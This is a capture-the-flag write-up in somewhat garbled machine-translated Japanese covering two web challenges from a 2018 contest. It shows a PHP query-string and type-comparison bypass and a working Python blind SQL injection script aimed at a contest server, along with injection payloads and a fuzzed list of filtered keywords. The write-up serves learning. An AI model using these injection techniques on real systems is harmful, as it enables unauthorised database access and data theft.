2018安恒5月試合(web)
10491 ワード
前言
実習期間中のせっかくの2日間の休みは、自分の実力の不足を考慮して、まだしばらく大チームに溶け込むことができない.練習を急ぐ大物たちRCTFの活躍を期待する.
本文
web 1の奇妙な恐竜の特性
ソース:
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
echo 'A_A,have fun';
}
elseif ($str<9999999999) {
echo 'A_A,too small';
}
elseif ((string)$str>0) {
echo 'A_A,too big';
}
else{
echo file_get_contents('flag.php');
}
?>
1つの変数
A_A
が入力され、後の数字の判断に合致することが要求する.長い間詰まっていましたが、このブログではhttps://www.waitalone.cn/security-scripts-game.htmlで8番目に重要な情報を見ました.マニュアルによると
.
は合法的な演算子ではなく、自動的に_
に置き換えられる.一方、$_SERVER['QUERY_STRING']
は、ユーザが入力変数であるため、変更されない.または
_
を直接url符号化して$_SERVER['QUERY_STRING']
の第2のステップを迂回します:テストを経て、私は発見しました$a = [1,2,3];
$b = 555;
var_dump($a>$b);
なんとTrue!テストを続行:
$a = [1111,2,3];
$b = [555,444,9,10];
var_dump($a>$b);// false
$a = [1111,2,3];
$b = [555,444,9];
var_dump($a>$b);//true
$a = [1111,2,3];
$b = '555';
var_dump($a>$b);//true
$a = [1111,2,3];
$b = ['555x',2,3];
var_dump($a>$b);//true
2つの配列が比較的先にキー値が個数に対していることを推測し、個数が多いと大きい.第1グループのキー値のペアを見て、どれが大きいか(まず数字を変えることができるかどうかを判断する.もしできないならば、辞書順に並べて)、それに対応する配列は大きい.
配列内の比較は直接ascii順であることも考えられる.
警告
Notice: Array to string conversion
が表示する.最初は数字と配列を比較するときに数字を配列形式に変えると思っていたが、今はそうではないようだ.配列も数字も文字列に転向すべきだ.しかし配列がどのような形式の文字列に変わるかは分からない.師匠たちがあなたの見解を残してほしい.Web 2に登録できないadmin
解題スクリプト
# coding=utf-8
import requests
import string
import sys
x = string.digits+string.ascii_letters+"{@_}"
url = 'http://101.71.29.5:10005/json.php'
ans = ''
for j in range(len(ans)+1,20):
for i in range(len(x)):
payload = 'admin" |if(mid(database(),%d,1)>"%s",1,0) #' % (j,x[i])
data= {
'id':payload
}
r = requests.post(url,data=data)
if "admin" in r.text.encode('utf-8'):
ans += x[i]
print ans
print r.text.encode('utf-8')
sys.stdout.flush()
break
else:
pass
#database: 5monthweb
ぶんせき
元のページはajax操作があって、分析した後にjsonを思っていることを発見します.php post id値
admin"#
を使用して"
を正常に閉じると、対応するエラーが発生します.Fatal error: Uncaught exception 'Exception' with message 'You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near '"""' at line 1 query:
select * from article where title ="""' in E:\apache2\htdocs\MysqliDb.php:1926
#1 E:\apache2\htdocs\MysqliDb.php(550): MysqliDb->rawQuery('select * from a...', NULL)
#2 E:\apache2\htdocs\json.php(27): MysqliDb->rawQueryOne('select * from a...')
#3 {main} thrown in E:\apache2\htdocs\MysqliDb.php on line 1926
最初はmysqliがワイドバイト注入をすると思っていたが、実際に閉じた文は
"
fuzzの結果を示した.no:['ord', 'or', 'union', 'select', 'and', 'from', 'order by', 'substr', "'", '*', '&&', 'information_schema']
yes:[' ', '%', 'group_concat', '(', '"', 'where', 'if', ' ', '||', '#', '--+', '_', '`', '/', '<>', 'in', '=', 'mid', 'like', 'database()', '>', 'user()', 'tables', 'limit']
union
、select
が濾過することがわかる.そしてinformation.schema
も濾過する.次の2つのアイデアがあります.方法1は、この記事を参照してください.http://www.zjicmisa.org/index.php/archives/149/試してみたが、成功しなかったし、フィールド名が推測できなかったので、後でテストする時間があるでしょう.
方法2:N 1 CTFのいくつかのsql注入問題に基づいて、
admin"|if(mid(database(),1,1)>"0",1,0)#
を構築してデータベース5monthweb
を脱出することができる.次に、表名article
、フィールド名id
、title
が誤報に基づいて知る.したがって、推測はcontent
フィールドも含む.admin" |if(mid(content,1,1)>"0",1,0)#
で走るとflagが見えましたに質問
スクリプトにはmid関数からフィールドの最後までの処理という小さな問題があります.実行すると、元の答えに基づいて0が山積みになります.
戦果
私が書いてもいいと思います.私の個人的な静的ブログにも注目してください.https://cntjuscswyz.github.io/ ありがとう